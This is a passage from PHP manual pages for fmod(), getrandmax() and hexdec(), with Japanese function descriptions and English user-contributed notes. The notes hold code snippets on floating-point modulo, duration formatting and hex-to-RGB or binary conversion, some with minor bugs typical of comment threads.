    if (!$y) { return NAN; }
    return floatval($x - intval($x / $y) * $y);
}
?>

WARNING: Even when you get a non-zero response, know your input numbers and when fmod() can go wrong. For large values or depending on your input variable types, float still may not contain enough precision to get back the correct answer. Here are a few problems with fmod() and their alternatives.

PHP_INT_MAX = 9223372036854775807
fmod(PHP_INT_MAX, 2) = 0 (wrong)
fmod_alt(PHP_INT_MAX, 2) = 0 (wrong)
PHP_INT_MAX % 2 = 1 (correct)

fmod(PHP_INT_MAX, PHP_INT_MAX - 1) = 0 (wrong)
fmod_alt(PHP_INT_MAX, PHP_INT_MAX - 1) = 1 (correct)
fmod_alt(PHP_INT_MAX, PHP_INT_MAX - 1.0) = 0 (wrong)
PHP_INT_MAX % (PHP_INT_MAX - 1) = 1 (correct)
PHP_INT_MAX % (PHP_INT_MAX - 1.0) = 9223372036854775807 (wrong)

fmod(PHP_INT_MAX, 131) =  98 (wrong)
fmod_alt(PHP_INT_MAX, 131) = 359 (wrong)
fmod_positive_only(PHP_INT_MAX, 131) = 0 (wrong)
PHP_INT_MAX % 131 = 97 (correct)
nospam at neonit dot de 04-Jan-2017 10:11
Note that fmod does not behave like a similar function written in PHP itself does due to the lack of fixing floating point representation errors.

Have a look at this:
<?php
var_dump(10 / (10 / 3) === 3.0); // bool(true)
var_dump(fmod(10, 10 / 3)); // float(3.3333333333333)
var_dump(fmod(10, 10 / 3) < 10 / 3); // bool(true)
?>

Internally there is no way of exactly representing the result of 10 / 3, so it will always be a bit above or below the actual result. In this case, the example proves it being a bit above the actual result.

PHP seems quite good at auto-fixing floating point representation errors so they behave like the user would expect it. That's why the first line yields true, although the result is slightly below 3 (like 2.9999999999[something]). I failed to trick PHP into rounding or cropping the result to 2.

However, fmod seems to not apply these fixes during calculations. From 10 / 3 it gets a value slightly below 3, floors it to 2 and returns 10 - 2 * 10 / 3, which is slightly less than the actual result of 10 / 3, but looks like 10 / 3 (third line).

Unfortunately, this is not the expected result. See other notes for high quality fixes.
timo underscore teichert at yahoo dot de 27-Oct-2014 01:40
The behaviour of this function seems to have changed over time.

<?php

echo fmod(3,5);
// php 5.3.2 outputs -2
// php 5.3.8 outputs 3

echo fmod(2,5);
// php 5.3.2 outputs 2
// php 5.3.8 outputs 2

?>

- Timo
KRAER 28-Jan-2014 11:23
To create a list of primes in a bash based on php wich can be resumed after breaking I did use fmod() and some snippets offered by two more users here on php comments.

This will output :
"prime;difference-between-last-and-current-prime"

So credit goes to them. I only did the logfile output.

This will function up to whatever fmod supports as highest value. Just enter the $end value. And do a touch to the logfile followed by chmod 666 so php can access it.

<?php
function tailCustom($filepath, $lines = 1, $adaptive = true) {

        // Open file
        $f = @fopen($filepath, "rb");
        if ($f === false) return false;

        // Sets buffer size
        if (!$adaptive) $buffer = 4096;
        else $buffer = ($lines < 2 ? 64 : ($lines < 10 ? 512 : 4096));

        // Jump to last character
        fseek($f, -1, SEEK_END);

        // Read it and adjust line number if necessary
        // (Otherwise the result would be wrong if file doesn't end with a blank line)
        if (fread($f, 1) != "\n") $lines -= 1;

        // Start reading
        $output = '';
        $chunk = '';

        // While we would like more
        while (ftell($f) > 0 && $lines >= 0) {

            // Figure out how far back we should jump
            $seek = min(ftell($f), $buffer);

            // Do the jump (backwards, relative to where we are)
            fseek($f, -$seek, SEEK_CUR);

            // Read a chunk and prepend it to our output
            $output = ($chunk = fread($f, $seek)) . $output;

            // Jump back to where we started reading
            fseek($f, -mb_strlen($chunk, '8bit'), SEEK_CUR);

            // Decrease our line counter
            $lines -= substr_count($chunk, "\n");

        }

        // While we have too many lines
        // (Because of buffer size we might have read too many)
        while ($lines++ < 0) {

            // Find first newline and remove all text before that
            $output = substr($output, strpos($output, "\n") + 1);

        }

        // Close file and return
        fclose($f);
        return trim($output);

    }

function isPrime( $num )
{
    for( $i = 2; $i*$i <= $num; $i++ )
        if( !fmod($num,$i) )
            return FALSE;

    return TRUE;
}

$logfile = 'prim_save.log';

$lastline = explode(";", tailCustom($logfile));
$begin = ($lastline[0] +1);
$lastprime = $lastline[0];

$end = 999999999999999999999999999999999999;

$fp = fopen($logfile, 'a');
//Lineformat    $i.';'.$difference.';'."\n"

for($i = $begin; $i<$end; $i++)
{
    if(isPrime($i) == TRUE)
    {
        $difference = $i - $lastprime;
        fputs($fp,$i.';'.$difference.';'."\n");
        $lastprime = $i;
    }
}

fclose($fp);
?>
Adrien Gibrat 05-Jul-2013 10:33
There is an elegant way to do compute gcm :
https://en.wikipedia.org/wiki/Greatest_common_divisor

    // Recursive function to compute gcd (euclidian method)
    function gcd ($a, $b) {
        return $b ? gcd($b, $a % $b) : $a;
    }
    // Then reduce any list of integer
    echo array_reduce(array(42, 56, 28), 'gcd'); // === 14

If you want to work with floating points, use approximation :

    function fgcd ($a, $b) {
        return $b > .01 ? fgcd($b, fmod($a, $b)) : $a; // using fmod
    }
    echo array_reduce(array(2.468, 3.7, 6.1699), 'fgcd'); // ~= 1.232

You can use a closure in PHP 5.3 :

    $gcd = function ($a, $b) use (&$gcd) { return $b ? $gcd($b, $a % $b) : $a; };
verdy_p 12-Dec-2012 02:38
Note that fmod is NOT equivalent to this basic function:

<?php
 function modulo($a, $b) {
    return $a - $b * floor($a / $b);
 }
?>

because fmod() will return a value with the same sign as $a. In other words the floor() function is not correct as it rounds towards -INF instead of towards zero.

To emulate fmod($a, $b) the correct way is:

<?php
 function fmod($a, $b) {
   return $a - $b * (($b < 0) ? ceil($a / $b) : floor($a / $b)));
 }
?>

Note that both functions will throw a DIVISION BY ZERO if $b is null.

The first function modulo() above is the mathematical function which is useful for working on cyclic structures (such as calender computions or trignonometric functions :

- fmod($a, 2*PI) returns a value in [0..2*PI) if $a is positive
- fmod($a, 2*PI) returns a value in [-2*PI..0] if $a is negative
- modulo($a, 2*PI) returns a value always in [0..2*PI) independantly of the sign of $a
dePijd 10-Feb-2010 06:37
This class ran through several unit tests and fixes all failures found in bugs.php.net

<?php
abstract class MyNumber {
    public static function isZero($number, $precision = 0.0000000001)
    {
        $precision = abs($precision);
        return -$precision < (float)$number && (float)$number < $precision;
    }
    public static function isEqual($number1, $number2)
    {
        return self::isZero($number1 - $number2);
    }
    public static function fmod($number1, $number2)
    {
        $rest = fmod($number1, $number2);
        if (self::isEqual($rest, $number2)) {
            return 0.0;
        }
        if (mb_strpos($number1, ".") === false) {
            $decimals1 = 0;
        } else {
            $decimals1 = mb_strlen($number1) - mb_strpos($number1, ".") - 1;
        }
        if (mb_strpos($number2, ".") === false) {
            $decimals2 = 0;
        } else {
            $decimals2 = mb_strlen($number2) - mb_strpos($number2, ".") - 1;
        }
        return (float)round($rest, max($decimals1, $decimals2));
    }
}
?>
linkboss at gmail dot com 18-Oct-2009 05:49
You can also use the modulo operator '%', which returns the same result :

<?php
$var1 = 5;
$var2 = 2;

echo $var1 % $var2; //Returns 1
echo fmod($var1,$var2); //Returns the same
?>
matrebatre 20-May-2008 12:09
I always use this:

function modulo($n,$b) {
return $n-$b*floor($n/$b);
}

And it appears to work correctly.
ysangkok at gmail dot com 01-Jul-2007 09:37
Please note that this:
<?php
function custom_modulo($var1, $var2) {
  $tmp = $var1/$var2;

  return (float) ( $var1 - ( ( (int) ($tmp) ) * $var2 ) );
}

$par1 = 1;
$par2 = 0.2;

echo "fmod:          ";
var_dump(fmod ( $par1 , $par2 ));
echo "custom_modulo: ";
var_dump(custom_modulo ( $par1 , $par2 ));
?>

gives this:

fmod:          float(0.2)
custom_modulo: float(0)

Fmod does not deliver the desired result, therefore I made my own.
cory at lavacube dot net 08-Dec-2005 10:13
I don't believe that is correct.

Try this out using your patch:
<?php

echo duration( mktime(0, 0, 0, 1, 0, 2006)-time() );

?>

As of right now, this will read:
1 month, 22 days, 24 hours, 49 minutes, 15 seconds

Which is completely incorrect. Seeing as how it is the 9th of December.

The real real flaw here is how the 'year' and 'month' periods are calculated. As most months vary in length...

Thank you very much SnakeEater251 for pointing this out.

The quickest way to get slightly more accurate results, is to use averages based on one "true" year, which is 365.25 days.

Change the year and month to:
      'year'       => 31557600, // one 'true year' (365.25 days)
      'month'    => 2629800, // one 'true year' divided by 12 :-)

I will work on developing a true fix, for pin-point accuracy. ;-)

 - Cory Christison
SnakeEater251 26-Nov-2005 10:16
Note on the code given by cory at lavacube dot net.
You will recieve better results by not using floor and using round instead. As you continue increasing to larger amounts of time you will notice that the outputted time is off by large amounts.

so instead of $temp = floor( $int_seconds / $length );
we would use  $temp = round( $int_seconds / $length );

<?php

function duration( $int_seconds=0, $if_reached=null )
{
   $key_suffix = 's';
   $periods = array(
                   'year'        => 31556926,
                   'month'        => 2629743,
                   'day'        => 86400,
                   'hour'        => 3600,
                   'minute'    => 60,
                   'second'    => 1
                   );

   // used to hide 0's in higher periods
   $flag_hide_zero = true;

   // do the loop thang
   foreach( $periods as $key => $length )
   {
       // calculate
       $temp = round( $int_seconds / $length );

       // determine if temp qualifies to be passed to output
       if( !$flag_hide_zero || $temp > 0 )
       {
           // store in an array
           $build[] = $temp.' '.$key.($temp!=1?'s':null);

           // set flag to false, to allow 0's in lower periods
           $flag_hide_zero = false;
       }

       // get the remainder of seconds
       $int_seconds = fmod($int_seconds, $length);
   }

   // return output, if !empty, implode into string, else output $if_reached
   return ( !empty($build)?implode(', ', $build):$if_reached );
}

?>
cory at lavacube dot net 26-Nov-2005 12:38
A more formal way for generating duration strings:

<?php

function duration( $int_seconds=0, $if_reached=null )
{
    $key_suffix = 's';
    $periods = array(
                    'year'        => 31556926,
                    'month'        => 2629743,
                    'day'        => 86400,
                    'hour'        => 3600,
                    'minute'    => 60,
                    'second'    => 1
                    );

    // used to hide 0's in higher periods
    $flag_hide_zero = true;

    // do the loop thang
    foreach( $periods as $key => $length )
    {
        // calculate
        $temp = floor( $int_seconds / $length );

        // determine if temp qualifies to be passed to output
        if( !$flag_hide_zero || $temp > 0 )
        {
            // store in an array
            $build[] = $temp.' '.$key.($temp!=1?'s':null);

            // set flag to false, to allow 0's in lower periods
            $flag_hide_zero = false;
        }

        // get the remainder of seconds
        $int_seconds = fmod($int_seconds, $length);
    }

    // return output, if !empty, implode into string, else output $if_reached
    return ( !empty($build)?implode(', ', $build):$if_reached );
}

?>

Simple use:
<?php

    echo duration( mktime(0, 0, 0, 1, 1, date('Y')+1) - time(), 'Some fancy message to output if duration is already met...' );

?>

Enjoy. :-)
cory at simplesystems dot ca 22-Nov-2005 05:39
Just a note on the previous note by Ryan Means:

Instead of using explode() to get the number before the decimal point, would be to use floor()... floor() rounds fractions down, which is exactly what is needed.

His same example using floor();

<?PHP
$totalsec=XXXXXXX; //Replace the X's with a int value of seconds

$daysarray = floor( $totalsec/86400 );

$partdays = fmod($totalsec, 86400);
$hours = floor( $partdays/3600 );

$parthours = fmod($partdays, 3600);
$min = floor( $parthours/60 );

$sec = fmod($parthours, 60);

echo "days " . $days . "<br>";
echo "hours " . $hours . "<br>";
echo "minutes " . $min . "<br>";
echo "seconds " . $sec . "<br>";
?>
rocan 19-Feb-2005 06:10
john at digitizelife dot com:

Well not sure how your comment applys to fmod..

but their is a sure simpler way of coping with situations like this..

its called a bit field (bit masking)

e.g.

/* Categories */
bin     dec   cat
0001 - 1 - Blue
0010 - 2 - Red
0100 - 4 - Green
1000 - 8 - Yellow

/* Permissions */
0010 - 2   - Bob
0101 - 5    - John
1011 - 11  - Steve
1111-  15 - Mary

to find out the permissions for each user you simple need to do a bitwise AND

$steve_auth=11;

function get_perm($auth)
{
    $cats["Blue"]=1;
    $cats["Red"]=2;
    $cats["Green"]=4;
    $cats["Yellow"]=8;
    $perms=array();
    foreach($cats as $perm=>$catNum)
    {
          if($auth & $catNum)
                $perms[$perm]=true;

    }

    return $perms;
}

print_r(get_perm($steve_auth));
/*
returns
Array
(
    [Blue] => 1
    [Red] => 1
    [Yellow] => 1
)
*/

This is far simpler than your prime number idea, in fact you dont even need a function in any tests for the permmsions on a user you can do them directly using the bitwise and operator.

You may want to read the following

http://en.wikipedia.org/wiki/Bitmask
http://uk2.php.net/manual/en/language.operators.bitwise.php
jphansen at uga dot edu 10-Jan-2005 11:44
fmod() does not mirror a calculator's mod function. For example, fmod(.25, .05) will return .05 instead of 0 due to floor(). Using the aforementioned example, you may get 0 by replacing floor() with round() in a custom fmod().

<?
function fmod_round($x, $y) {
    $i = round($x / $y);
    return $x - $i * $y;
}

var_dump(fmod(.25, .05)); // float(0.05)
var_dump(fmod_round(.25, .05)); // float(0)
?>
konstantin at rekk dot de 27-May-2004 08:10
If you need to reduce an integer to zero if zero and 1 if not, you can use

$sign = (integer)(boolean)$integer;

instead of

$sign = $integer > 0 ? 1 : 0;

it is faster from 100 operations on (at least on my machine).
alex at xelam dot net 16-Feb-2004 01:19
Integer Modulo

If you want the remainder of the division of two Integers rather than Floats, use "%"; eg:

<?php
$a = 4;
$b = 3;

print($a % $b);
?>

Will output "1".
picaune at hotmail dot com 09-Mar-2003 03:57
NAN (.net Equivalent = Double.NaN) means "Not-a-Number".
Some ways to get NaN are modulo 0, and square root of 0.


乱数の最大値を取得する

  • ≪ fmod
  • hexdec ≫
  • PHP Manual
  • Math 関数
  • 乱数の最大値を取得する

getrandmax

(PHP 4, PHP 5, PHP 7, PHP 8)

getrandmax — 乱数の最大値を取得する

説明

getrandmax ( ) : int

rand() をコールすることにより得られる最大の値を返します。

返り値

rand() が返す乱数の最大値を返します。

参考

  • rand() - 乱数を生成する
  • srand() - 乱数生成器を初期化する
  • mt_getrandmax() - 乱数値の最大値を表示する

User Contributed Notes

There are no user contributed notes for this page.


16 進数を 10 進数に変換する

  • ≪ getrandmax
  • hypot ≫
  • PHP Manual
  • Math 関数
  • 16 進数を 10 進数に変換する

hexdec

(PHP 4, PHP 5, PHP 7, PHP 8)

hexdec — 16 進数を 10 進数に変換する

説明

hexdec ( string $hex_string ) : int|float

引数 hex_string により指定された 16 進数に 等価な 10 進数を返します。hexdec() は、16 進数を 表す文字列を 10 進数に変換します。

hexdec() は、16 進数以外の文字を一切無視します。 PHP 7.4.0 以降では、無効な文字を与えることは推奨されません。

パラメータ

hex_string

変換したい 16 進文字列。

返り値

hex_string を 10 進で表した値を返します。

変更履歴

バージョン | 説明
7.4.0 | 無効な文字を与えると、非推奨の警告が出るようになりました。 結果は不正な文字がなかったかのように計算されます。

例

例1 hexdec() の例

<?php
var_dump(hexdec("See"));
var_dump(hexdec("ee"));
// 共に "int(238)" を出力

var_dump(hexdec("that")); // "int(10)" を出力
var_dump(hexdec("a0")); // "int(160)" を出力
?>

注意

注意:

この関数は、プラットフォームの int 型に収まらない大きな数も変換できます。 その場合、結果は float で返します。

参考

  • dechex() - 10 進数を 16 進数に変換する
  • bindec() - 2 進数 を 10 進数に変換する
  • octdec() - 8 進数を 10 進数に変換する
  • base_convert() - 数値の基数を任意に変換する

User Contributed Notes

helpmedalph at gmail dot com 02-May-2016 02:31
function hex2rgb($hex) {
    if ($hex[0]=='#') $hex = substr($hex,1);
    if (strlen($hex)==3){
        $hex = $hex[0].$hex[0].$hex[1].$hex[1].$hex[2].$hex[2];
    }
    $int = hexdec($hex);
    return array("red" => 0xFF & ($int >> 0x10), "green" => 0xFF & ($int >> 0x8), "blue" => 0xFF & $int);
}
sneskid at hotmail dot com 24-Mar-2012 02:50
If you want to create or parse signed Hex strings:

<?php
// $d should be an int
function sdechex($d) { return ($d<0) ? ('-' . dechex(-$d)) : dechex($d); }

// $h should be a string
function shexdec($h) { return ($h[0] === '-') ? -('0x' . substr($h,1) + 0) : ('0x' . $h + 0); }

// test
$h = sdechex(-123); // string(3) "-7b"
$d = shexdec($h);   // int(-123)
var_dump($h, $d);
?>

Also note that ('0x' . $hexstr + 0) is faster than hexdec()
(Tested on PHP v5.2.17)
programacion at mundosica dot com 06-Dec-2011 09:50
Here is other function to transform a MAC Address to decimal:

<?php
function get_mac_decimal($mac) {
    $clear_mac = preg_replace('/[^0-9A-F]/i','',$mac);
    $mac_decimal = array();
    for ($i = 0; $i < strlen($clear_mac); $i += 2 ):
        $mac_decimal[] = hexdec(substr($clear_mac, $i, 2));
    endfor;
    return implode('.',$mac_decimal);
}
?>
andy at haveland dot com 24-Oct-2010 10:55
Here's a short example to convert strings between hex and chars:

<?php
print hextostr("616E647940686176656C616E642E636F6D")."\n";

print strtohex("Knowledge is power")."\n";

function hextostr($x) {
  $s='';
  foreach(explode("\n",trim(chunk_split($x,2))) as $h) $s.=chr(hexdec($h));
  return($s);
}

function strtohex($x) {
  $s='';
  foreach(str_split($x) as $c) $s.=sprintf("%02X",ord($c));
  return($s);
}
?>
hafees at msn dot com 19-Aug-2010 03:31
Use this function to convert a hexa decimal color code to its RGB equivalent. Unlike many other functions provided here, it will work correctly with hex color short hand notation.

Also, if a proper hexa decimal color value is given (6 digits), it uses bit wise operations for faster results.

For eg: #FFF and #FFFFFF will produce the same result

<?php
/**
 * Convert a hexa decimal color code to its RGB equivalent
 *
 * @param string $hexStr (hexadecimal color value)
 * @param boolean $returnAsString (if set true, returns the value separated by the separator character. Otherwise returns associative array)
 * @param string $seperator (to separate RGB values. Applicable only if second parameter is true.)
 * @return array or string (depending on second parameter. Returns False if invalid hex color value)
 */
function hex2RGB($hexStr, $returnAsString = false, $seperator = ',') {
    $hexStr = preg_replace("/[^0-9A-Fa-f]/", '', $hexStr); // Gets a proper hex string
    $rgbArray = array();
    if (strlen($hexStr) == 6) { //If a proper hex code, convert using bitwise operation. No overhead... faster
        $colorVal = hexdec($hexStr);
        $rgbArray['red'] = 0xFF & ($colorVal >> 0x10);
        $rgbArray['green'] = 0xFF & ($colorVal >> 0x8);
        $rgbArray['blue'] = 0xFF & $colorVal;
    } elseif (strlen($hexStr) == 3) { //if shorthand notation, need some string manipulations
        $rgbArray['red'] = hexdec(str_repeat(substr($hexStr, 0, 1), 2));
        $rgbArray['green'] = hexdec(str_repeat(substr($hexStr, 1, 1), 2));
        $rgbArray['blue'] = hexdec(str_repeat(substr($hexStr, 2, 1), 2));
    } else {
        return false; //Invalid hex color code
    }
    return $returnAsString ? implode($seperator, $rgbArray) : $rgbArray; // returns the rgb string or the associative array
} ?>

OUTPUT:

hex2RGB("#FF0") -> array( red =>255, green => 255, blue => 0)
hex2RGB("#FFFF00) -> Same as above
hex2RGB("#FF0", true) -> 255,255,0
hex2RGB("#FF0", true, ":") -> 255:255:0
Rosberg - rosberglinhares at gmail dot com 06-May-2010 08:45
The correct version is:

function bchexdec($hex) {
    static $hexdec = array(
        "0" => 0,
        "1" => 1,
        "2" => 2,
        "3" => 3,
        "4" => 4,
        "5" => 5,
        "6" => 6,
        "7" => 7,
        "8" => 8,
        "9" => 9,
        "A" => 10,
        "B" => 11,
        "C" => 12,
        "D" => 13,
        "E" => 14,
        "F" => 15
    );

    $dec = 0;

    for ($i = strlen($hex) - 1, $e = 1; $i >= 0; $i--, $e = bcmul($e, 16)) {
        $factor = $hexdec[$hex[$i]];
        $dec = bcadd($dec, bcmul($factor, $e));
    }

    return $dec;
}
flurinj at gmx dot net 06-Apr-2010 07:13
Here My version of converting a hex string to a signed decimal value:

<?php

function hexdecs($hex)
{
    // ignore non hex characters
    $hex = preg_replace('/[^0-9A-Fa-f]/', '', $hex);

    // converted decimal value:
    $dec = hexdec($hex);

    // maximum decimal value based on length of hex + 1:
    //   number of bits in hex number is 8 bits for each 2 hex -> max = 2^n
    //   use 'pow(2,n)' since '1 << n' is only for integers and therefore limited to integer size.
    $max = pow(2, 4 * (strlen($hex) + (strlen($hex) % 2)));

    // complement = maximum - converted hex:
    $_dec = $max - $dec;

    // if dec value is larger than its complement we have a negative value (first bit is set)
    return $dec > $_dec ? -$_dec : $dec;
}

?>
Halit YEL - halityesil at globya dot net 02-Oct-2009 01:30
RGB to Hex
Hex to RGB
Function

<?PHP

function rgb2hex2rgb($c){
   if(!$c) return false;
   $c = trim($c);
   $out = false;
  if(preg_match("/^[0-9ABCDEFabcdef\#]+$/i", $c)){
      $c = str_replace('#','', $c);
      $l = strlen($c) == 3 ? 1 : (strlen($c) == 6 ? 2 : false);

      if($l){
         unset($out);
         $out[0] = $out['r'] = $out['red'] = hexdec(substr($c, 0,1*$l));
         $out[1] = $out['g'] = $out['green'] = hexdec(substr($c, 1*$l,1*$l));
         $out[2] = $out['b'] = $out['blue'] = hexdec(substr($c, 2*$l,1*$l));
      }else $out = false;

   }elseif (preg_match("/^[0-9]+(,| |.)+[0-9]+(,| |.)+[0-9]+$/i", $c)){
      $spr = str_replace(array(',',' ','.'), ':', $c);
      $e = explode(":", $spr);
      if(count($e) != 3) return false;
         $out = '#';
         for($i = 0; $i<3; $i++)
            $e[$i] = dechex(($e[$i] <= 0)?0:(($e[$i] >= 255)?255:$e[$i]));

         for($i = 0; $i<3; $i++)
            $out .= ((strlen($e[$i]) < 2)?'0':'').$e[$i];

         $out = strtoupper($out);
   }else $out = false;

   return $out;
}

?>

Output

#FFFFFF =>
 Array{
   red=>255,
   green=>255,
   blue=>255,
   r=>255,
   g=>255,
   b=>255,
   0=>255,
   1=>255,
   2=>255
 }

#FFCCEE =>
 Array{
   red=>255,
   green=>204,
   blue=>238,
   r=>255,
   g=>204,
   b=>238,
   0=>255,
   1=>204,
   2=>238
 }
CC22FF =>
 Array{
   red=>204,
   green=>34,
   blue=>255,
   r=>204,
   g=>34,
   b=>255,
   0=>204,
   1=>34,
   2=>255
 }

0 65 255 => #0041FF
255.150.3 => #FF9603
100,100,250 => #6464FA

[EDIT BY danbrown AT php DOT net - Contains multiple bugfixes by (ajim1417 AT gmail DOT com) on 27-JAN-2010: Replaces typo in explode() and updates eregi() calls to preg_match().]
jose dot rob dot jr at gmail dot com 15-Aug-2009 08:13
I made these functions to pack up to 64 ID's into a mysql unsigned bigint.

ID's cannot repeat, must be <= bit's limit and > 0.

The functions uses php 32 bit's int as unsigned because we don't actually read the number, just the bits. Then 0xFFFFFFFF display -1 but the bit's are there (tested with linux 2.6 i686 and x86_64)

---

This is an other way to make hex to bin conversions:

<?php
function hexbin($hex, $padding = false)
{
    // Validation
    $hex = preg_replace('/^(0x|X)?/i', '', $hex);
    $hex = preg_replace('/[[:blank:]]/', '', $hex);
    if(empty($hex))
    {
        $hex = '0';
    }
    if(!preg_match('/^[0-9A-F]*$/i', $hex))
    {
        trigger_error('Argument is not a hex', E_USER_WARNING);
        return false;
    }

    // Conversion
    $bin = '';
    $hex = array_reverse(str_split($hex));
    foreach($hex as $n)
    {
        $n = hexdec($n);
        for($i = 1; $i <= 8; $i <<= 1)
        {
            $bin .= ($i & $n)? '1' : '0';
        }
        if($padding)
        {
            $bin .= ' ';
        }
    }
    return ltrim(strrev($bin));
}

// Tests
echo "<b>Debug:</b> <pre>";

// Randomly choosed padded number
var_dump(hexbin('00FF FF8F 7F3F FF1F', true));
// string(79) "0000 0000 1111 1111 1111 1111 1000 1111 0111 1111 0011 1111 1111 1111 0001 1111"

// Yellow RGB
var_dump(hexbin('0xF8F800'));
// string(24) "111110001111100000000000"

// Green RGB (padded)
var_dump(hexbin('0x008800', true));
//string(29) "0000 0000 1000 1000 0000 0000"

die("\n<br>debug");

?>

Have fun ;D
Ultimater at gmail dot com 19-Apr-2009 01:54
hexdec doesn't accept numbers following the period.
What if you have a number like c20.db18?
<?php
function floatinghexdec($str)
{
    list($intgr,$hex)=explode('.',$str,2);
    $intgr=ereg_replace("[^A-Fa-f0-9]", "", $intgr);
    $hex=ereg_replace("[^A-Fa-f0-9]", "", $hex);
    $answer=0;
    for($i=0;$i < strlen($hex); $i++)
    {
        $digit=hexdec(substr($hex,$i,1))/16;   // .f is 15/16 because in decimal .9 is 9/10
        $answer += $digit/pow(16,$i);
    }
return hexdec($intgr)+$answer;
}

echo floatinghexdec("ff.ff");//255.99609375
?>
chuckySTAR 15-Apr-2009 01:55
Here's my hexdec function for greater numbers using BC Math

<?php
function bchexdec($hex)
{
    $len = strlen($hex);
    for ($i = 1; $i <= $len; $i++)
        $dec = bcadd($dec, bcmul(strval(hexdec($hex[$i - 1])), bcpow('16', strval($len - $i))));

    return $dec;
}

echo bchexdec('ffffffffffffffffffffffffffffffff') . "\n" . (pow(2, 128));
?>
joquius at kakugo dot com 24-Sep-2008 06:12
Help a hex-stricken string get back to normal:

<?php
$str = preg_replace_callback ("/%([a-zA-Z0-9]{2})/", create_function ('$matches', 'return chr (hexdec ($matches[1]));'), $str);
?>
this1is4me at hotmail dot com 27-May-2008 02:46
In reply to Amit Yadav's post (hex to binary conversion):

function binfromdec($num)
{
  $primary = "bit";
  for ($i=1; $i<=16; $i++)
    ${$primary.$i} = 0;

  if ($num & 32768)   $bit16  = 1;
  if ($num & 16384)   $bit15  = 1;
  if ($num & 8192)    $bit14  = 1;
  if ($num & 4096)    $bit13  = 1;
  if ($num & 2048)    $bit12  = 1;
  if ($num & 1024)    $bit11  = 1;
  if ($num & 512)     $bit10  = 1;
  if ($num & 256)     $bit9   = 1;
  if ($num & 128)     $bit8   = 1;
  if ($num & 64)      $bit7   = 1;
  if ($num & 32)      $bit6   = 1;
  if ($num & 16)      $bit5   = 1;
  if ($num & 8)       $bit4   = 1;
  if ($num & 4)       $bit3   = 1;
  if ($num & 2)       $bit2   = 1;
  if ($num & 1)       $bit1   = 1;

  return ($bit16. $bit15. $bit14. $bit13. $bit12. $bit11. $bit10. $bit9. $bit8. $bit7. $bit6. $bit5. $bit4. $bit3. $bit2. $bit1);
}
Walter Wlodarski 31-Jan-2008 01:33
One of my favourite, multi-purpose, bidirectional solution I wrote many years ago:

function bgr2rgb($cr) {  // bidirectional
    return (($cr & 0x0000FF) << 16 | ($cr & 0x00FF00) | ($cr & 0xFF0000) >> 16);
}

Which you might want to use as :

function hex2cr($hex) {  // strips any leading characters, like #
    return bgr2rgb(hexdec($hex));
}

function cr2hex($cr) { // the usual HTML format, #rrggbb
    return '#'.str_pad(strtoupper(dechex(bgr2rgb($cr))), 6, '0', STR_PAD_LEFT);
}

And, if like me you tend to mistype function names, the synonym :

function rgb2bgr($val) { return bgr2rgb($val); }
maddddidley at yahoo dot com 27-Jan-2008 12:17
Function that combines two rgb colors.

function combineColors($color1, $color2) {

        $color1 = str_replace("#", '', $color1);
        $color2 = str_replace("#", '', $color2);

        $r1 = hexdec(substr($color1, 0, 2));
        $g1 = hexdec(substr($color1, 2, 2));
        $b1 = hexdec(substr($color1, 4, 2));

        $r2 = hexdec(substr($color2, 0, 2));
        $g2 = hexdec(substr($color2, 2, 2));
        $b2 = hexdec(substr($color2, 4, 2));

        $r3 = ceil(($r1 + $r2) / 2);
        $g3 = ceil(($g1 + $g2) / 2);
        $b3 = ceil(($b1 + $b2) / 2);

        $color = rgbhex($r3, $g3, $b3);
        return $color = str_replace("#", '', $color);

    }
Anonymous 13-Nov-2007 08:34
// Funcao GET Cor Hexadecima e Retorna em RGB
function hexrgb($hexstr, $rgb) {
 $int = hexdec($hexstr);
 switch($rgb) {
        case "r":
        return 0xFF & $int >> 0x10;
            break;
        case "g":
        return 0xFF & ($int >> 0x8);
            break;
        case "b":
        return 0xFF & $int;
            break;
        default:
        return array(
            "r" => 0xFF & $int >> 0x10,
            "g" => 0xFF & ($int >> 0x8),
            "b" => 0xFF & $int
            );
            break;
    }
}// END GET Cor Hex => RGB

//Uso
 echo hexrgb("1a2b3c", r); // 26
 echo hexrgb("1a2b3c", g); // 43
 echo hexrgb("1a2b3c", b); // 60
//ou

var_dump(hexrgb("1a2b3c", rgb)); //array(3) { ["r"]=>  int(26) ["g"]=>  int(43) ["b"]=>  int(60) }
k10206 at naver dot com 27-Oct-2007 09:42
<?
function hexrgb($hexstr) {
    $int = hexdec($hexstr);

    return array("red" => 0xFF & ($int >> 0x10), "green" => 0xFF & ($int >> 0x8), "blue" => 0xFF & $int);
}
?>
Manithu 23-Mar-2007 04:23
This tiny function will return foreground colors (either black or white) in contrast to the color you provide:

<?php

function getContrastColor($color)
{
    return (hexdec($color) > 0xffffff/2) ? '000000' : 'ffffff';
}

?>

This function will return the opposite (negative):

<?php

function negativeColor($color)
{
    //get red, green and blue
    $r = substr($color, 0, 2);
    $g = substr($color, 2, 2);
    $b = substr($color, 4, 2);

    //revert them, they are decimal now
    $r = 0xff-hexdec($r);
    $g = 0xff-hexdec($g);
    $b = 0xff-hexdec($b);

    //now convert them to hex and return.
    return dechex($r).dechex($g).dechex($b);
}

?>
cgarvis at gmail dot com 09-Oct-2006 10:39
Here is my version of hex2rgb for web colors to 24bit colors.

<?php
function hex2rgb_webcolors($hex) {
    $hex = eregi_replace("[^a-fA-F0-9]", "", $hex);
    switch( strlen($hex) ) {
        case 2:
            $hex = substr($hex,0,2)."0000";
            break;
        case 3:
            $hex = substr($hex,0,1).substr($hex,0,1)
            .substr($hex,1,1).substr($hex,1,1)
            .substr($hex,2,1).substr($hex,2,1);
            break;
        case 4:
            $hex = substr($hex,0,4)."00";
            break;
        case 6:
            break;
        default:
            $hex = 0;
            break;
    }
    return hexdec($hex);
}
?>
repley at freemail dot it 28-May-2006 06:55
From color to color to ...... to color with fade effect. Good for dynamic bar chart.

<?php
//MultiColorFade(array hex-colors, int steps)
function MultiColorFade($hex_array, $steps) {

$tot = count($hex_array);
$gradient = array();
$fixend = 2;
$passages = $tot-1;
$stepsforpassage = floor($steps/$passages);
$stepsremain = $steps - ($stepsforpassage*$passages);

   for($pointer = 0; $pointer < $tot-1 ; $pointer++) {

       $hexstart = $hex_array[$pointer];
       $hexend = $hex_array[$pointer + 1];

       if($stepsremain > 0){
           if($stepsremain--){
               $stepsforthis = $stepsforpassage + 1;
           }
       }else{
           $stepsforthis = $stepsforpassage;
       }

       if($pointer > 0){
           $fixend = 1;
       }

       $start['r'] = hexdec(substr($hexstart, 0, 2));
       $start['g'] = hexdec(substr($hexstart, 2, 2));
